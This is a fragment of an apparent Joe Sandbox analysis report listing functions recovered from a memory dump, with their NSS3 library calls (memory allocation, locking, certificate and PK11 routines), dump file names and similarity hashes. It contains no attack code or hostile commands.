Part of subcall function 6CEC10C0: PL_ArenaAllocate.NSS3(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CE6BE03

Part of subcall function 6CEBFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEB8D2D,?,00000000,?), ref: 6CEBFB85
Part of subcall function 6CEBFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEBFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE6BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE6BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE6BE3B

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: f2dc9792ae9c2b4946109077bb7b77a5239f6b1172036d130ae5ad92692a5e7e
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 10012BA9F8020577F71012A76C02F6776684F5168DF340034FE149AF82FB60D11992B7

Function 6CEC0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE687ED,00000800,6CE5EF74,00000000), ref: 6CEC1000
PR_NewLock.NSS3(?,00000800,6CE5EF74,00000000), ref: 6CEC1016

Part of subcall function 6CF298D0: calloc.MOZGLUE(00000001,00000084,6CE50936,00000001,?,6CE5102C), ref: 6CF298E5

PL_InitArenaPool.NSS3(00000000,security,6CE687ED,00000008,?,00000800,6CE5EF74,00000000), ref: 6CEC102B
TlsGetValue.KERNEL32(00000000,?,?,6CE687ED,00000800,6CE5EF74,00000000), ref: 6CEC1044
free.MOZGLUE(00000000,?,00000800,6CE5EF74,00000000), ref: 6CEC1064

Strings

security, xrefs: 6CEC1025

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: bfd8547cb9b409251f4dece114d4522c2b3a8820a50decb3ce74c459ca850f1c
Instruction ID: a65e7a349227b8e5ba2a99be6caeff01b4011ed108dae3c79ab584446b2de108
Opcode Fuzzy Hash: bfd8547cb9b409251f4dece114d4522c2b3a8820a50decb3ce74c459ca850f1c
Instruction Fuzzy Hash: 6E014830B502509BE7602FBC8D067563A78BF0374CF21411AE82897B52EB61C114DBD3

Function 6CEF1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEF1C74

Part of subcall function 6CF0C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF0C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CEF1C92
free.MOZGLUE(?), ref: 6CEF1C99
DeleteCriticalSection.KERNEL32(?), ref: 6CEF1CCB
free.MOZGLUE(?), ref: 6CEF1CD2

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 30e7d61ffaf26582b8d68f7592571519cb9d67187e5865ce2f4d0008090b648f
Instruction ID: 3f58215c77755671c9f622fe7d19522ba36eb9e01c8139192b93bfce221f6385
Opcode Fuzzy Hash: 30e7d61ffaf26582b8d68f7592571519cb9d67187e5865ce2f4d0008090b648f
Instruction Fuzzy Hash: 6E01D6B1F212185FDF58AFE4DC1D74B7778E707718F201024E509A3B40D762920997A6

Function 6CF049C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000000,00000000,00000678,?,?,6CEF5F34,00000A20), ref: 6CF049EC

Part of subcall function 6CEBFAB0: free.MOZGLUE(?,-00000001,?,?,6CE5F673,00000000,00000000), ref: 6CEBFAC7

SECITEM_ZfreeItem_Util.NSS3(?,00000000,6CEF5F34,00000A20,?,?,?,?,?,?,?,?,?,6CEFAAD4), ref: 6CF049F9
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,6CEF5F34,00000A20,?,?,?,?,?,?,?,?,?,6CEFAAD4), ref: 6CF04A06
free.MOZGLUE(?,?,?,?,?,6CEF5F34,00000A20), ref: 6CF04A16
free.MOZGLUE(?,?,?,?,?,6CEF5F34,00000A20), ref: 6CF04A1C

Strings

4_l , xrefs: 6CF049C6, 6CF04A21

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Item_UtilZfreefree
String ID: 4_l
API String ID: 2193358613-523846813
Opcode ID: 83d1201572e169ef09334eaf9bf02d5064820d3c20f8c54a376b1abd4cf128af
Instruction ID: 6408022aee385fc4341536a8095a11d4a482dff31c6ec6b98f5f2cbc7638358b
Opcode Fuzzy Hash: 83d1201572e169ef09334eaf9bf02d5064820d3c20f8c54a376b1abd4cf128af
Instruction Fuzzy Hash: 1301717AA001049FCB04DF69DDD5C967BBCEF892483058075E909EB702E731E904CBB1

Function 6CF7C9B0 Relevance: 10.5, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(00000000,6CEF1AB6,00000000,?,?,6CEF07B9,?), ref: 6CF7C9C6
free.MOZGLUE(?,?,6CEF07B9,?), ref: 6CF7C9D3
DeleteCriticalSection.KERNEL32(00000000,00000001), ref: 6CF7C9E5
free.MOZGLUE(?), ref: 6CF7C9EC
DeleteCriticalSection.KERNEL32(00000080), ref: 6CF7C9F8
free.MOZGLUE(?), ref: 6CF7C9FF
free.MOZGLUE(00000000), ref: 6CF7CA0B

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: cfd7014fe62ec72329eab4b00cf1a748ab80bbe271ffe8b123404406107fcc2e
Instruction ID: e8d3d1c70eeaa56ee89c1de10342c404bc9b87b7355d9a39bb3acae49c534b8b
Opcode Fuzzy Hash: cfd7014fe62ec72329eab4b00cf1a748ab80bbe271ffe8b123404406107fcc2e
Instruction Fuzzy Hash: 3301ADB2A10609ABDB40EFB4DC8899BB7FCFE492613044526E906D3600E735F459CBF5

Function 6CF02E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF03046

Part of subcall function 6CEEEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEEEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CED7FFB), ref: 6CF0312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF03154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CF02E8B

Part of subcall function 6CF0C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF0C2BF

Part of subcall function 6CEEF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CED9BFF,?,00000000,00000000), ref: 6CEEF134

memcpy.VCRUNTIME140(8B3C75C0,?,6CED7FFA), ref: 6CF02EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF0317B

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 420d042cbce8fa0422fb206815541a22fb812f9f7fb4884c370cbba840611bae
Instruction ID: 6348751dbf5154629c19654a03e1f98841e37d730f6bf75f9bb5408fb650ece3
Opcode Fuzzy Hash: 420d042cbce8fa0422fb206815541a22fb812f9f7fb4884c370cbba840611bae
Instruction Fuzzy Hash: F5A1CE75A002189FDB24CF54CC90BEAB7B5EF49708F148099ED4967741E731AD89CFA1

Function 6CECED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CECED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CECEDCE

Part of subcall function 6CEC0BE0: malloc.MOZGLUE(6CEB8D2D,?,00000000,?), ref: 6CEC0BF8
Part of subcall function 6CEC0BE0: TlsGetValue.KERNEL32(6CEB8D2D,?,00000000,?), ref: 6CEC0C15

free.MOZGLUE(00000000,?,?,?,?,6CECB04F), ref: 6CECEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CECEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CECEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CECEEFB

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 8a7156b857e598e07c991347ab38525e299636dc1fb6b8edf2520793f74ffba7
Instruction ID: 329516de16646689a0053edaee750f434f6585030dfeac7f9d9ad9e99c682c35
Opcode Fuzzy Hash: 8a7156b857e598e07c991347ab38525e299636dc1fb6b8edf2520793f74ffba7
Instruction Fuzzy Hash: 44818EB1B006059FEB14CF55DA82BAB7BF5BF49348F24442CE82697751D730E815CBA2

Function 6CECCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CECC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CECDAE2,?), ref: 6CECC6C2

PR_Now.NSS3 ref: 6CECCD35

Part of subcall function 6CF29DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF70A27), ref: 6CF29DC6
Part of subcall function 6CF29DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF70A27), ref: 6CF29DD1
Part of subcall function 6CF29DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF29DED

Part of subcall function 6CEB6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE61C6F,00000000,00000004,?,?), ref: 6CEB6C3F

PR_GetCurrentThread.NSS3 ref: 6CECCD54

Part of subcall function 6CF29BF0: TlsGetValue.KERNEL32(?,?,?,6CF70A75), ref: 6CF29C07

Part of subcall function 6CEB7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE61CCC,00000000,00000000,?,?), ref: 6CEB729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CECCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CECCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CECCE2C

Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC10F3
Part of subcall function 6CEC10C0: EnterCriticalSection.KERNEL32(?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC110C
Part of subcall function 6CEC10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1141
Part of subcall function 6CEC10C0: PR_Unlock.NSS3(?,?,?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC1182
Part of subcall function 6CEC10C0: TlsGetValue.KERNEL32(?,6CE68802,00000000,00000008,?,6CE5EF74,00000000), ref: 6CEC119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CECCE40

Part of subcall function 6CEC14C0: TlsGetValue.KERNEL32 ref: 6CEC14E0
Part of subcall function 6CEC14C0: EnterCriticalSection.KERNEL32 ref: 6CEC14F5
Part of subcall function 6CEC14C0: PR_Unlock.NSS3 ref: 6CEC150D

Part of subcall function 6CECCEE0: PORT_ArenaMark_Util.NSS3(?,6CECCD93,?), ref: 6CECCEEE
Part of subcall function 6CECCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CECCD93,?), ref: 6CECCEFC
Part of subcall function 6CECCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CECCD93,?), ref: 6CECCF0B
Part of subcall function 6CECCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CECCD93,?), ref: 6CECCF1D

Part of subcall function 6CECCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CECCD93,?), ref: 6CECCF47
Part of subcall function 6CECCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CECCD93,?), ref: 6CECCF67
Part of subcall function 6CECCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CECCD93,?,?,?,?,?,?,?,?,?,?,?,6CECCD93,?), ref: 6CECCF78

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: f4bb246a16fb6e8319f9ef21d83241abb0fddec7fd919009f96fe39e2219aa80
Instruction ID: 82b14f3bc0301d883050dd811f9f080db9aae17a6a2d11dbe7bea4899effdd63
Opcode Fuzzy Hash: f4bb246a16fb6e8319f9ef21d83241abb0fddec7fd919009f96fe39e2219aa80
Instruction Fuzzy Hash: 4651A3B6B002009FEB10DF69DE40BAA77F4AF4934CF350528D965A7740EB35E905CB92

Function 6CE9EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CE9EF38

Part of subcall function 6CE89520: PK11_IsLoggedIn.NSS3(00000000,?,6CEB379E,?,00000001,?), ref: 6CE89542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CE9EF53

Part of subcall function 6CEA4C20: TlsGetValue.KERNEL32 ref: 6CEA4C4C
Part of subcall function 6CEA4C20: EnterCriticalSection.KERNEL32(?), ref: 6CEA4C60
Part of subcall function 6CEA4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA4CA1
Part of subcall function 6CEA4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CEA4CBE
Part of subcall function 6CEA4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA4CD2
Part of subcall function 6CEA4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEA4D3A

PR_GetCurrentThread.NSS3 ref: 6CE9EF9E

Part of subcall function 6CF29BF0: TlsGetValue.KERNEL32(?,?,?,6CF70A75), ref: 6CF29C07

free.MOZGLUE(00000000), ref: 6CE9EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE9F016
free.MOZGLUE(00000000), ref: 6CE9F022

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: e667bc95725fbb5acfb94a88e96552f5df583691acd669b546c6898284832b0d
Instruction ID: be4abc5cbf7241d2db15bb4c3d3b27b40a3e3718104f86b8b6a5943010c06590
Opcode Fuzzy Hash: e667bc95725fbb5acfb94a88e96552f5df583691acd669b546c6898284832b0d
Instruction Fuzzy Hash: 62419271E00209AFDF018FA9DC85BEE7BB9EF48358F144029F915A7350EB75C9158BA1

Function 6CE74860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE74894

Part of subcall function 6CEBB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF918D0,?), ref: 6CEBB095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE748CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE748DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6CE748FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE74912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE7494A

Part of subcall function 6CF0C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF0C2BF

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: 1ce4e2fdb8b306e28f185ac553e84edfda2f5cbea15a3a618dd80dd8ea2e7936
Instruction ID: 79f9c99d26e21f18cc5c5794bb16a12407dfcbbd8b9299d3da56194bad5595b6
Opcode Fuzzy Hash: 1ce4e2fdb8b306e28f185ac553e84edfda2f5cbea15a3a618dd80dd8ea2e7936
Instruction Fuzzy Hash: 7D4191B1A0530AABE710CB69DD81BAB73F89F8421CF24052DFA55A7741F770E904CB62

Function 6CE8CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CE8CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CE8D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CE8D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE8D025
PR_NewLock.NSS3 ref: 6CE8D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE8D074

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 8c6a04205297a77eeda2ac914abfb2b234ccef624f6d098e1aecd47b1f15d3fd
Instruction ID: 6859e4b3e2943ea79d8ede88c1df7a3e0c0430f1bf3e5a0277640d2f4a97401d
Opcode Fuzzy Hash: 8c6a04205297a77eeda2ac914abfb2b234ccef624f6d098e1aecd47b1f15d3fd
Instruction Fuzzy Hash: 9241B4B4A022168FEB10DF69C8807967BF5EF0531CF20416ADC1D8B746D775D585CBA2

Function 6CE72E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CE62D1A), ref: 6CE72E7E

Part of subcall function 6CEC07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE68298,?,?,?,6CE5FCE5,?), ref: 6CEC07BF
Part of subcall function 6CEC07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEC07E6
Part of subcall function 6CEC07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEC081B
Part of subcall function 6CEC07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEC0825

PR_Now.NSS3 ref: 6CE72EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CE72EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CE62D1A), ref: 6CE72F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CE62D1A), ref: 6CE72F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CE72F81

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
